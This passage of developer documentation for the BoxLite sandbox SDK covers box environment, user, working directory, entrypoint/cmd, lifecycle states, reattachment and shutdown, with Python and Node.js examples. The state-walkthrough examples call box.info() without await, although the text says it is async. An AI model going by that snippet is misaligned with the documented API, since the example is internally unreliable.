resources](/manage-sandbox/compute-resources). | | `name` | Optional | `str` | `string` (`name`) | Sandbox name (must be unique). | | `auto_remove` | Optional | `bool` (default True) | `boolean` (`autoRemove`, default true) | Remove automatically on stop. | > `SimpleBox`'s convenience parameters only cover `image / rootfs_path / memory_mib / cpus / runtime / name / auto_remove / reuse_existing`; `env / entrypoint / cmd / user / working_dir` and so on are forwarded through `**kwargs` to `BoxOptions`, so their names and types follow `BoxOptions` (for example Python's `working_dir`, and the construction-time `env` being a list of tuples). ## Quick Example The shortest path: use `SimpleBox` to inject environment variables, run as a non-root user, set the working directory, and then run a command to verify. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main(): try: # at construction time, env is list[tuple[str, str]] (note: different from the dict used by exec(env=...)) # working_dir must already exist in the image: a missing path fails when entering # the context, not on the first exec. # alpine ships with /tmp; to use a custom directory like /work, create it first via exec mkdir. async with boxlite.SimpleBox( image="alpine:latest", env=[("APP_ENV", "production"), ("LANG", "C.UTF-8")], user="1000:1000", # run as uid=1000, gid=1000 (non-root) working_dir="/tmp", # commands run in this directory by default (must already exist in the image) ) as box: print(f"box started: {box.id}") # a non-zero exit code does not raise; check exit_code yourself result = await box.exec("sh", "-c", "echo $APP_ENV @ $(pwd) as $(id -u)") if result.exit_code != 0: print(f"command failed ({result.exit_code}): {result.stderr.strip()}") else: print(result.stdout.strip()) # production @ /tmp as 1000 except Exception as e: # image pull failure / no virtualization raises a standard exception (e.g. RuntimeError) print(f"error: {type(e).__name__}: {e}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { SimpleBox } from "@boxlite-ai/boxlite"; async function main() { try { // in Node, construction-time env is Record (different from Python's construction-time list) // workingDir must be a directory that already exists in the image, otherwise exec throws. alpine ships with /tmp. await using box = new SimpleBox({ image: "alpine:latest", env: { APP_ENV: "production", LANG: "C.UTF-8" }, user: "1000:1000", workingDir: "/tmp", }); const result = await box.exec("sh", "-c", "echo $APP_ENV @ $(pwd) as $(id -u)"); if (result.exitCode !== 0) { console.error(`command failed (${result.exitCode}): ${result.stderr.trim()}`); } else { console.log(result.stdout.trim()); // production @ /tmp as 1000 } } catch (e) { console.error(`error: ${(e as Error).message}`); } } main(); ``` *** ## The relationship between `entrypoint` and `cmd` An OCI image has two directives: `ENTRYPOINT` (the executable) and `CMD` (default arguments). The final startup command is the concatenation of the two: `ENTRYPOINT + CMD`. * Set only `cmd`: replace the default arguments, keep the image's ENTRYPOINT. * Set only `entrypoint`: replace the executable. * Set both: fully customize the startup behavior. Note: some images (such as `python:alpine`) put the default command in CMD rather than ENTRYPOINT. To pass arguments like `-c`, you must explicitly set `entrypoint=["python3"]`, otherwise the arguments have nothing to attach to. > Important: `entrypoint + cmd` becomes the box's **main command**, so **the box stops when it exits**. Keep it long-running if you want to `exec` afterwards, as the example below does. See [The main command](/manage-sandbox/lifecycle#the-main-command) for the rules that follow. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main(): try: async with boxlite.SimpleBox( image="python:alpine", entrypoint=["python3"], # the main command must be long-running, or the box stops and exec is refused cmd=["-c", "import time; print('service up'); time.sleep(120)"], cpus=1, memory_mib=512, ) as box: print(f"box started: {box.id}") await asyncio.sleep(2) # wait for the main command to come up # while the main command runs, other commands can be exec'd, exit=0 result = await box.exec("python3", "-c", "print('hello from exec')") print(f"exec: {result.stdout.strip()} (exit={result.exit_code})") # exit=0 except Exception as e: print(f"error: {type(e).__name__}: {e}") if __name__ == "__main__": asyncio.run(main()) ``` ### Overriding `cmd` drops the image's working directory Setting `cmd` replaces the image's command but does not inherit the `WORKDIR` it was written against. Relative paths in the image's own start command then fail — usually as a missing-file or module error naming a path that does exist: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} Error: Cannot find module '/dist/index.js' ``` Two fixes, in order of preference: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import boxlite # Preferred: the launcher the image puts on PATH, which does not depend on the directory box = boxlite.SimpleBox(image="", cmd=["myservice", "--port", "8080"]) # Or an absolute path, with the working directory set explicitly box = boxlite.SimpleBox( image="", cmd=["node", "/app/dist/index.js"], working_dir="/app", ) ``` ## `user`: running as non-root `user` accepts a username or a UID, in the format `[:]`. Non-numeric usernames are resolved from the container's `/etc/passwd` / `/etc/group`. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main(): try: # in alpine, nobody is uid=65534, gid=65534 async with boxlite.SimpleBox(image="alpine:latest", user="nobody:nobody") as box: result = await box.exec("id") print(result.stdout.strip()) # uid=65534(nobody) gid=65534(nobody) ... except Exception as e: print(f"error: {type(e).__name__}: {e}") if __name__ == "__main__": asyncio.run(main()) ``` You can also override the user/directory/environment per-`exec` (`env` here is a **dict**): ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main(): try: async with boxlite.SimpleBox(image="alpine:latest") as box: # per-execution override (exec's env is a dict, timeout is in seconds, float) result = await box.exec( "sh", "-c", "echo $GREETING", env={"GREETING": "hi"}, # exec takes a dict user="nobody", cwd="/tmp", timeout=10.0, ) print(result.stdout.strip()) # hi # The two env parameters take different shapes — this catches people out: # Box constructor : env=[("KEY", "value")] list of tuples # exec(...) : env={"KEY": "value"} dict # Passing a dict to the constructor raises: # TypeError: argument 'env': 'dict' object cannot be cast as 'Sequence' except Exception as e: print(f"error: {type(e).__name__}: {e}") if __name__ == "__main__": asyncio.run(main()) ``` ## Return value: `ExecResult` `box.exec(...)` returns an `ExecResult` (a dataclass in the Python wrapper layer). | Field | Type | Description | | - | - | - | | `exit_code` | `int` | Process exit code. **Non-zero does not raise**; the caller must check it. | | `stdout` | `str` | Standard output. | | `stderr` | `str` | Standard error. | | `error_message` | `str \| None` | Non-`None` only when the process died abnormally. | Node's `ExecResult` fields are `exitCode` / `stdout` / `stderr`. *** ## Troubleshooting ### Passing a string as the volume's third element causes a TypeError A volume's third element is the boolean `read_only`; the strings `"ro"`/`"rw"` are CLI-only and raise `TypeError` here. See [Volumes](/manage-sandbox/volumes#troubleshooting). ### Construction-time `env` passed as a dict reports a type error (Python) `SimpleBox(env=...)` / `BoxOptions(env=...)` requires `list[tuple[str, str]]` at **construction time**: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main(): try: # correct: construction-time env is list[tuple[str, str]] async with boxlite.SimpleBox( image="alpine:latest", env=[("KEY", "value")], ) as box: result = await box.exec("sh", "-c", "echo $KEY") print(result.stdout.strip()) # value except Exception as e: print(f"error: {type(e).__name__}: {e}") if __name__ == "__main__": asyncio.run(main()) ``` `box.exec(env=...)` uses a `dict` at **execution time**. The distinction: a list at construction time, a dict at exec time. ### `cmd` arguments take no effect / the image has no ENTRYPOINT If the image's default command is in CMD (not ENTRYPOINT), setting `cmd=["-c", ...]` alone leaves the arguments with no executable to attach to. Explicitly set `entrypoint=["python3"]` (or the target executable); see the entrypoint example above. ### After setting `entrypoint + cmd` to a short-lived command, `exec` reports `incompatible container status: Stopped` The box stopped when its main command exited: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} RuntimeError: internal error: spawn_failed: Container init process exited — cannot exec. ... incompatible container status: `Stopped` ``` Fix: keep the main command long-running (sleep, or a service), or treat the box as single-shot and do not exec again. [The main command](/manage-sandbox/lifecycle#the-main-command) covers the rules, and [Exit codes](/manage-sandbox/lifecycle#exit-codes) covers how to read what it exited with. ### `working_dir` pointing to a nonexistent directory makes `exec` raise RuntimeError `working_dir` (or `exec(cwd=...)`) must be a **directory that already exists in the image**. When it points to a nonexistent directory (e.g. setting `working_dir="/work"` on `alpine`), the `box` still creates successfully, but the first `exec` raises: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} RuntimeError: internal error: spawn_failed: ... error in executing process : failed to unix syscall ``` Fix: use a directory that ships with the image (`alpine` has `/tmp`, `/root`), or create one first via `exec` from an existing working directory: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main(): try: async with boxlite.SimpleBox(image="alpine:latest") as box: # create the directory first, then run inside it mk = await box.exec("mkdir", "-p", "/work") if mk.exit_code != 0: print(f"mkdir failed: {mk.stderr.strip()}") return result = await box.exec("pwd", cwd="/work") print(result.stdout.strip()) # /work except Exception as e: print(f"error: {type(e).__name__}: {e}") if __name__ == "__main__": asyncio.run(main()) ``` ### `exec` exits non-zero without raising This is expected behavior: when `exec` fails (the command returns non-zero) it **does not raise** but returns an `ExecResult` with `exit_code != 0`. Always check `result.exit_code` (Node: `result.exitCode`). ### A missing command / image pull failure raises a standard exception * Missing command: raises a standard `RuntimeError` (Python) / a bare `Error` (Node), **not** a `BoxliteError` subclass. * Image pull network flakiness: raises a `RuntimeError`, which you can retry after `try/except`. When catching, use a broad `except Exception` rather than only catching `BoxliteError`. ### No hardware virtualization causes startup failure BoxLite requires hardware virtualization (an environment constraint): * Linux: requires KVM (`/dev/kvm` available); under WSL2 the user must be in the `kvm` group. * macOS: uses Apple Hypervisor.framework, no `/dev/kvm` required (macOS arm64 supported). * No virtualization: startup fails on `async with` entry. The process does not crash and can be caught with `try/except` to report the issue. ### `working_dir` and `exec(cwd=...)` fail at different moments Both require a directory that **already exists in the image**, but they fail in different places, which changes how you recover. A missing `working_dir` fails when the box is created — before any command runs: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} RuntimeError: internal error: Container init failed: Failed to create container: ... ``` A missing `exec(cwd=...)` fails only that call, and **the box stays usable**: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} RuntimeError: internal error: spawn_failed: ... failed to create container ``` So a bad `working_dir` costs you the box; a bad `cwd` costs you one command. Alpine ships `/tmp`; create anything else first with `exec("mkdir", "-p", "/work")`. # Manage sandboxes Source: https://docs.boxlite.ai/manage-sandbox/index Create, configure, and reclaim boxes — the type, the lifecycle, and the four dials that shape what a box can see, use, and reach. Two objects, and everything here is one of them. The **runtime** creates, finds, and reclaims boxes. A **box** is one microVM you run things in. A box you create is yours until you remove it, and every configuration choice below is made at creation time. ## In this section Six constructors, each tuned for one job. **Start here** — the type decides most of the rest. Created, running, stopped, removed — and what survives each transition. CPU, memory, and disk, so a workload is neither starved nor wasteful. Variables, run user, and working directory inside the box. Mount a host directory so both sides read and write the same files. Expose a service to the host, and bound what the box can reach. Deliver credentials without the sandbox seeing them; tighten isolation. Save disk state, clone a box, or pack one into an archive. ## Which page do I want? | You are asking | Page | | - | - | | Which box type do I need? | [sandbox types](/manage-sandbox/sandbox-types) | | What happens when my program exits? | [lifecycle](/manage-sandbox/lifecycle) | | How much CPU and memory should I give it? | [compute resources](/manage-sandbox/compute-resources) | | How do I get a file in or out? | [volumes](/manage-sandbox/volumes) | | How do I reach a server running inside? | [network access](/manage-sandbox/network-access) | | How do I pass an API key without leaking it? | [secrets and security](/manage-sandbox/secrets-and-security) | # Lifecycle Source: https://docs.boxlite.ai/manage-sandbox/lifecycle The states a box moves through — created, running, stopped, removed — and what survives each transition. Which state a box is in decides whether your next `exec` starts it, restarts it and reuses its disk, or fails. Two switches then decide how long it lives: `auto_remove` and `detach`. ## The states ```mermaid theme={"theme":{"light":"github-light","dark":"github-dark"}} stateDiagram-v2 direction LR [*] --> Created: SimpleBox(...) / runtime.create() Created --> Running: async with entry, start(), or first exec() Running --> Stopped: stop() Running --> Stopped: main command exits Stopped --> Running: start() or exec() again Stopped --> [*]: runtime.remove(id, force=) Running --> [*]: auto_remove=True on stop note right of Created Lazy: the handle exists, the microVM is not up yet end note note right of Stopped VM released, metadata kept — still visible to get() / list_info() end note ``` | State | How you get there | What exists | What you can do | | - | - | - | - | | **Created** | `SimpleBox(...)` or `await runtime.create(...)` | A handle and a database record. **No VM yet** | Nothing on the box itself — the next `exec` or `async with` entry starts it | | **Running** | `async with` entry, `start()`, or the first `exec()` | VM up, rootfs mounted | `exec`, `copy_in` / `copy_out`, `metrics()`. `start()` is idempotent | | **Stopped** | `stop()`, or the main command exiting | VM released, **rootfs and metadata kept** | Still found by `get()` / `list_info()`; `exec` or `start()` brings it back with files intact | | **Removed** | `runtime.remove(id, force=)`, or `auto_remove=True` on stop | Nothing | Gone from the runtime and from disk | Two transitions are worth committing to memory: * **Creation is lazy.** Constructing a box returns a handle; the microVM comes up on first use. A box that never runs costs nothing but a database row. * **Stop is not remove.** `stop()` frees the VM but keeps the disk, so restarting reuses everything the box had installed. That is what makes a box a reusable workspace rather than a one-shot container. Read the current state with `await box.info()`. **`info()` is async everywhere** — `SimpleBox.info` is `async def`, and the native `Box.info` returns an awaitable Future; neither is synchronous. Field names are exact and easy to get wrong. ## The main command Every box has one **main command**: the `entrypoint + cmd` it was created with, running as the container init — PID 1 inside the box. It is the process the box exists to run, and the box's lifetime is tied to it. A main command of `sh -c 'echo "pid=$$"; exit 7'` prints `pid=1`, confirming it is init rather than a process alongside one. Three things stop a box, and only one of them is a call you make: | Cause | Trigger | | - | - | | **The main command exits** | It finishes, or it crashes | | `stop()` | You call it | | `auto_stop` | Idle timeout, on BoxLite Cloud — see [Box lifecycle](/cloud/box-lifecycle) | Two rules follow: * **Once the main command has exited, `exec` is refused**: `RuntimeError: invalid state: Cannot exec box : it is stopped, and its main command has already exited`. Bring the box back with `start()`. * **You cannot stop the main command from inside the box.** `kill -TERM 1` is dropped, because PID 1 in a PID namespace ignores signals it has no handler for. That is kernel behavior, not a BoxLite bug. It ends when it exits on its own, or when the host calls `stop()`. **There is no restart policy.** A main command that crashes stops the box; nothing restarts it. Supervise from the host — check the state and call `start()` — or use the pattern below that keeps your workload off the main command. Status flips about a second after the main command exits, so poll it rather than reading it immediately. For how `entrypoint` and `cmd` combine into the main command, see [Environment and startup](/manage-sandbox/environment#the-relationship-between-entrypoint-and-cmd). ## Exit codes `BoxStateInfo` carries `pid`, `running` and `status` — **no exit code**. To read the main command's exit code, attach to it. `attach()` with no argument follows the main command's session, and its `wait()` returns the code: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import BoxOptions, Boxlite async def main() -> None: runtime = Boxlite.default() # attach() lives on the box returned by runtime.create(), not on SimpleBox box = await runtime.create(BoxOptions( image="alpine:latest", cmd=["sh", "-c", "echo 'work done'; exit 7"], )) await box.start() execution = await box.attach() # no argument: the main command's session async for line in execution.stdout(): print(line.rstrip()) # -> work done result = await execution.wait() print("exit code:", result.exit_code) # -> 7 if __name__ == "__main__": asyncio.run(main()) ``` Two constraints shape that example: * `attach()` exists on the box returned by `runtime.create()`. **`SimpleBox` has no `attach()`**, and neither does the sync API, so reading a main command's exit code means using `Boxlite` and `BoxOptions` directly. * Exit codes from `exec` are separate and easier: `ExecResult.exit_code`, no attach needed. See [Run any language](/agent-tools/code-execution-any-language#parameters-and-returns). ## Three ways to start work in a box Which one you pick decides whether the box outlives the work. | Pattern | How | Box lifetime | Cost | | - | - | - | - | | **Work beside the main command** | Keep the image's main command; run jobs with `exec`, services with `nohup … &` | Independent of the work | A crashed service leaves the box `running` and the port dead | | **Work as the main command** | Set `entrypoint` / `cmd`, then `attach()` | Bound to the work | Requires `runtime.create()`; `SimpleBox` has no `attach()` | | **Detached main command** | Work as the main command, plus `detach=True` and `auto_delete=0` | Outlives the process that created it | You remove it yourself | Most agent work wants the first: the agent is a job, and you still want to read its workspace after it finishes. A long-running service usually wants the second, so that a dead service means a dead box rather than a silent one. ### Detached main command `detach=True` keeps the box alive after the creating process exits. It rejects the default removal behavior, since a box that removes itself on stop cannot be managed later: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} invalid argument: remove-on-stop is incompatible with detach=true. Detached boxes should use auto_delete=0 (or deprecated auto_remove=false) for manual lifecycle control. ``` Set `auto_delete=0` alongside it, and stop the box yourself when you are done. A local runtime has no idle timeout, so a detached box runs until something stops it. ## Walking the states in code The example below runs standalone: create → exec → stop → remove. `auto_remove=False` is used to demonstrate the separate stop and remove steps. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main(): # synchronous context manager: initializes the runtime on entry, calls close() on exit with boxlite.Boxlite.default() as runtime: box_id = None try: # 1. create (note: when called via the wrapper layer, create returns an awaitable; must await) box = await runtime.create( boxlite.BoxOptions( image="alpine:latest", # pulled over the network on first run cpus=2, memory_mib=512, auto_remove=False, # keep the box after stopping, to demonstrate remove ) ) box_id = box.id print(f"created: {box_id}") # 2. the first exec automatically starts the box (start is idempotent; explicit call is optional) execution = await box.exec("echo", ["hello from box"]) # the underlying execution.stdout() yields already-decoded str chunks; use them directly, do not call .decode() async for chunk in execution.stdout(): print(" ", chunk.strip()) result = await execution.wait() print(f" exit_code = {result.exit_code}") # a non-zero exit code does not raise; check it yourself # 3. state query: info() is async — await it info = box.info() print(f" state = {info.state.status}, running = {info.state.running}") # 4. stop (shut down the VM, preserve rootfs) await box.stop() print("stopped") finally: # 5. remove: called on the runtime, not box.remove() if box_id: try: await runtime.remove(box_id, force=True) print("removed") except Exception as exc: print(f"remove failed: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { JsBoxlite } from "@boxlite-ai/boxlite"; async function main(): Promise { // withDefaultConfig() is the process-wide singleton runtime; close() is synchronous const runtime = JsBoxlite.withDefaultConfig(); let boxId: string | null = null; try { // 1. create (always returns a Promise; await it) const box = await runtime.create({ image: "alpine:latest", // pulled over the network on first run cpus: 2, memoryMib: 512, autoRemove: false, // keep the box after stopping, to demonstrate remove }); boxId = box.id; console.log(`created: ${boxId}`); // 2. the first exec automatically starts the box (start is idempotent; explicit call is optional) const execution = await box.exec("echo", ["hello from box"]); const stdout = await execution.stdout(); while (true) { const line = await stdout.next(); if (line === null) break; // EOF console.log(" ", line.trimEnd()); } const result = await execution.wait(); console.log(` exitCode = ${result.exitCode}`); // a non-zero exit code does not throw; check it yourself // 3. state query: info() is async — await it const info = box.info(); console.log(` state = ${info.state.status}`); // 4. stop (shut down the VM, preserve rootfs) await box.stop(); console.log("stopped"); } finally { // 5. remove: called on the runtime, not box.remove() if (boxId) { try { await runtime.remove(boxId, true); console.log("removed"); } catch (err) { console.error(`remove failed: ${err instanceof Error ? err.message : err}`); } } runtime.close(); } } main(); ``` > Key point: `Boxlite` is a **synchronous** context manager (`with`), whereas a `Box`'s methods (`exec`/`stop`/`metrics`) are **async** (require `await`). `box.info()` is async too — `await` it. Verified: real run prints `created: `, `hello from box`, `exitCode = 0`, `state = running`, `stopped`, `removed`. *** ## detach and auto\_remove: two independent switches `BoxOptions` has two boolean switches that control the lifecycle and do not affect each other: | Parameter | Type | Default | Meaning | | - | - | - | - | | `auto_remove` | bool | `True` | `True`: remove the Box automatically on `stop()` (like Docker `--rm`); `False`: keep it after stopping so it can be restarted, requiring a manual `remove()` | | `detach` | bool | `False` | `False`: the Box is bound to the parent process and stops when the parent exits (prevents orphans); `True`: the Box runs independently and survives the parent exiting (like Docker `-d`) | Common combinations: | Combination | Scenario | | - | - | | `auto_remove=True, detach=False` (default) | One-off tasks, ephemeral code execution; cleaned up as soon as it finishes | | `auto_remove=False, detach=False` | Iterative development / debugging: preserve the disk after stopping and continue on the next restart | | `auto_remove=False, detach=True` | Long-running services / daemons: survive the parent process and reattach later | > `auto_remove=True` together with `detach=True` is **invalid** (a detached Box needs manual lifecycle control); setting both fails validation with an error. ### Restarting a stopped Box (rootfs reuse) For an `auto_remove=False` Box, the disk persists after `stop()`. Re-acquire a handle and `exec` again, and the VM restarts reusing the original rootfs: ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main(): with boxlite.Boxlite.default() as runtime: box_id = None try: box = await runtime.create( boxlite.BoxOptions(image="alpine:latest", auto_remove=False) ) box_id = box.id # write a file to prove the disk persists await (await box.exec("sh", ["-c", "echo data > /root/note.txt"])).wait() await box.stop() print("stopped; rootfs preserved") # re-acquire the handle (the box is stopped; get still returns a handle) box = await runtime.get(box_id) if box is None: raise RuntimeError(f"box {box_id} not found") # exec triggers a restart, reusing the original rootfs execution = await box.exec("cat", ["/root/note.txt"]) async for chunk in execution.stdout(): # stdout() yields str print(" file after restart:", chunk.strip()) await execution.wait() await box.stop() finally: if box_id: try: await runtime.remove(box_id, force=True) except Exception as exc: print(f"remove failed: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { JsBoxlite } from "@boxlite-ai/boxlite"; async function main(): Promise { const runtime = JsBoxlite.withDefaultConfig(); let boxId: string | null = null; try { let box = await runtime.create({ image: "alpine:latest", autoRemove: false }); boxId = box.id; // write a file to prove the disk persists await (await box.exec("sh", ["-c", "echo data > /root/note.txt"])).wait(); await box.stop(); console.log("stopped; rootfs preserved"); // re-acquire the handle (the box is stopped; get still returns a handle) const reattached = await runtime.get(boxId); if (reattached === null) throw new Error(`box ${boxId} not found`); box = reattached; // exec triggers a restart, reusing the original rootfs const execution = await box.exec("cat", ["/root/note.txt"]); const stdout = await execution.stdout(); while (true) { const line = await stdout.next(); if (line === null) break; console.log(" file after restart:", line.trimEnd()); } await execution.wait(); await box.stop(); } finally { if (boxId) { try { await runtime.remove(boxId, true); } catch (err) { console.error(`remove failed: ${err instanceof Error ? err.message : err}`); } } runtime.close(); } } main(); ``` > Note: data written to tmpfs paths such as `/tmp` does **not** persist across restarts; only data written to ordinary paths on the rootfs (such as `/root`) persists. Verified: real run prints `stopped; rootfs preserved` then `file after restart: data`. *** ## reattach: getting a second handle in the same process `runtime.get(id_or_name)` returns a new handle to an existing Box; the Box may be running or stopped. When `get` finds nothing it returns `None` (it does not raise). ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main(): with boxlite.Boxlite.default() as runtime: box_id = None try: box = await runtime.create( boxlite.BoxOptions(image="alpine:latest", auto_remove=False) ) box_id = box.id await (await box.exec("echo", ["running"])).wait() # acquire a second handle pointing to the same box handle2 = await runtime.get(box_id) if handle2 is None: raise RuntimeError("reattach failed: box not found") execution = await handle2.exec("echo", ["via second handle"]) async for chunk in execution.stdout(): # stdout() yields str print(" ", chunk.strip()) await execution.wait() await box.stop() finally: if box_id: try: await runtime.remove(box_id, force=True) except Exception as exc: print(f"remove failed: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { JsBoxlite } from "@boxlite-ai/boxlite"; async function main(): Promise { const runtime = JsBoxlite.withDefaultConfig(); let boxId: string | null = null; try { const box = await runtime.create({ image: "alpine:latest", autoRemove: false }); boxId = box.id; await (await box.exec("echo", ["running"])).wait(); // acquire a second handle pointing to the same box const handle2 = await runtime.get(boxId); if (handle2 === null) throw new Error("reattach failed: box not found"); const execution = await handle2.exec("echo", ["via second handle"]); const stdout = await execution.stdout(); while (true) { const line = await stdout.next(); if (line === null) break; console.log(" ", line.trimEnd()); } await execution.wait(); await box.stop(); } finally { if (boxId) { try { await runtime.remove(boxId, true); } catch (err) { console.error(`remove failed: ${err instanceof Error ? err.message : err}`); } } runtime.close(); } } main(); ``` Verified: real run prints `via second handle`. *** ## Cross-process sharing One process creates and initializes a Box with `detach=True` and exits; the Box keeps running, and another process takes it over with `runtime.get(box_id)`. > Important: do **not** use `Boxlite.default()` for cross-process scenarios. `default()` is a process-wide static singleton that keeps holding the runtime lock and does not release it even after a child process exits. Use `boxlite.Boxlite(boxlite.Options())` instead to construct a releasable runtime instance. The following is a self-contained script: the parent forks a child that creates a detached Box, and after the child exits the parent takes it over. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import subprocess import sys import boxlite async def child_create_box(): """Child process: create a detached box, print its id, then exit (the box stays alive).""" # construct a releasable runtime with Options(); the lock is released on exit runtime = boxlite.Boxlite(boxlite.Options()) box = await runtime.create( boxlite.BoxOptions(image="alpine:latest", detach=True, auto_remove=False) ) # exec to ensure the box finishes initialization await (await box.exec("echo", ["initialized"])).wait() print(f"BOX_ID:{box.id}") sys.stdout.flush() # do not call stop(); the box keeps running. The runtime is dropped and the lock is released async def parent_reattach(): """Parent process: fork a child to create the box, then take it over from this process.""" proc = subprocess.run( [sys.executable, __file__, "--child"], capture_output=True, text=True, timeout=120, ) if proc.returncode != 0: raise RuntimeError(f"child failed: {proc.stderr}") box_id = None for line in proc.stdout.splitlines(): if line.startswith("BOX_ID:"): box_id = line.split(":", 1)[1].strip() break if not box_id: raise RuntimeError(f"no box id from child; stdout={proc.stdout!r}") print(f"child created box: {box_id}") # the parent process also uses Options() rather than default() runtime = boxlite.Boxlite(boxlite.Options()) try: info = await runtime.get_info(box_id) if info is None: raise RuntimeError("box not found in DB") print(f"box state in DB: {info.state.status}") box = await runtime.get(box_id) # take over if box is None: raise RuntimeError("reattach failed") execution = await box.exec("echo", ["hello from parent process"]) async for chunk in execution.stdout(): # stdout() yields str print(" ", chunk.strip()) await execution.wait() print("cross-process reattach OK") finally: try: await runtime.remove(box_id, force=True) except Exception as exc: print(f"cleanup failed: {exc}") if __name__ == "__main__": if len(sys.argv) > 1 and sys.argv[1] == "--child": asyncio.run(child_create_box()) else: asyncio.run(parent_reattach()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // Self-contained script: the parent spawns a child that creates a detached box, // and after the child exits the parent takes it over. import { spawnSync } from "node:child_process"; import { fileURLToPath } from "node:url"; import { JsBoxlite } from "@boxlite-ai/boxlite"; // @boxlite-ai/boxlite is ESM-only, so this file has no CommonJS __filename; // derive the equivalent from import.meta.url. const __filename = fileURLToPath(import.meta.url); async function childCreateBox(): Promise { // Do not use withDefaultConfig() here: it is a process-wide singleton that keeps // holding the runtime lock even after this child process exits. Use `new JsBoxlite({})` // instead to construct a releasable runtime instance. const runtime = new JsBoxlite({}); const box = await runtime.create({ image: "alpine:latest", detach: true, autoRemove: false }); // exec to ensure the box finishes initialization await (await box.exec("echo", ["initialized"])).wait(); console.log(`BOX_ID:${box.id}`); // do not call stop(); the box keeps running. The runtime is dropped and the lock is released } async function parentReattach(): Promise { const proc = spawnSync(process.execPath, [__filename, "--child"], { encoding: "utf-8", timeout: 120_000, }); if (proc.status !== 0) throw new Error(`child failed: ${proc.stderr}`); let boxId: string | null = null; for (const line of proc.stdout.split("\n")) { if (line.startsWith("BOX_ID:")) { boxId = line.slice("BOX_ID:".length).trim(); break; } } if (!boxId) throw new Error(`no box id from child; stdout=${proc.stdout}`); console.log(`child created box: ${boxId}`); // the parent process also uses `new JsBoxlite({})` rather than withDefaultConfig() const runtime = new JsBoxlite({}); try { const info = await runtime.getInfo(boxId); if (info === null) throw new Error("box not found in DB"); console.log(`box state in DB: ${info.state.status}`); const box = await runtime.get(boxId); // take over if (box === null) throw new Error("reattach failed"); const execution = await box.exec("echo", ["hello from parent process"]); const stdout = await execution.stdout(); while (true) { const line = await stdout.next(); if (line === null) break; console.log(" ", line.trimEnd()); } await execution.wait(); console.log("cross-process reattach OK"); } finally { try { await runtime.remove(boxId, true); } catch (err) { console.error(`cleanup failed: ${err instanceof Error ? err.message : err}`); } runtime.close(); } } if (process.argv[2] === "--child") { childCreateBox(); } else { parentReattach(); } ``` Box state persists in the runtime database, so it can be queried (`get_info`), taken over (`get`), and restarted (by `exec`-ing a stopped Box again) across process boundaries. Same shape in both languages: `withDefaultConfig()` / `Boxlite.default()` is the process-wide singleton and must **not** be used here — use `new JsBoxlite({})` / `boxlite.Boxlite(boxlite.Options())` for a releasable instance in both processes. Verified: real run (parent spawning a child Node process) prints `child created box: `, `box state in DB: running`, `hello from parent process`, `cross-process reattach OK`. *** ## Bulk shutdown: runtime.shutdown() `runtime.shutdown(timeout=None)` gracefully shuts down every Box under that runtime. `timeout` is in seconds: `None` = default 10 seconds, `-1` = wait indefinitely. After shutdown, any creation-type operation raises `RuntimeError`. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main(): runtime = boxlite.Boxlite.default() boxes = [] for i in range(3): box = await runtime.create(boxlite.BoxOptions(image="alpine:latest")) boxes.append(box) print(f"created box {i + 1}: {box.id}") await (await box.exec("echo", [f"hi from box {i + 1}"])).wait() metrics = await runtime.metrics() print(f"running boxes before shutdown: {metrics.num_running_boxes}") await runtime.shutdown(timeout=5) # 5-second timeout print("shutdown complete") # creation fails after shutdown try: await runtime.create(boxlite.BoxOptions(image="alpine:latest")) print("ERROR: expected failure") except RuntimeError as exc: print(f"expected error after shutdown: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { JsBoxlite } from "@boxlite-ai/boxlite"; async function main(): Promise { const runtime = JsBoxlite.withDefaultConfig(); const boxes = []; for (let i = 0; i < 3; i++) { const box = await runtime.create({ image: "alpine:latest" }); boxes.push(box); console.log(`created box ${i + 1}: ${box.id}`); await (await box.exec("echo", [`hi from box ${i + 1}`])).wait(); } const metrics = await runtime.metrics(); console.log(`running boxes before shutdown: ${metrics.numRunningBoxes}`); await runtime.shutdown(5); // 5-second timeout console.log("shutdown complete"); // creation fails after shutdown try { await runtime.create({ image: "alpine:latest" }); console.log("ERROR: expected failure"); } catch (err) { console.log(`expected error after shutdown: ${err instanceof Error ? err.message : err}`); } } main(); ``` Verified: real run prints `running boxes before shutdown: 3`, `shutdown complete`, then `expected error after shutdown: stopped: Cannot create box: runtime has been shut down`. *** ## Parameters and Returns ### `BoxOptions` (lifecycle-related fields) | Field | Type | Required | Default | Description | | - | - | - | - | - | | `image` | str | Optional\* | — | Image reference, e.g. `alpine:latest`. At least one of `image` and `rootfs_path` | | `rootfs_path` | str | Optional\* | — | Path to a local OCI image layout directory (the on-disk form of a container image); an alternative to `image` 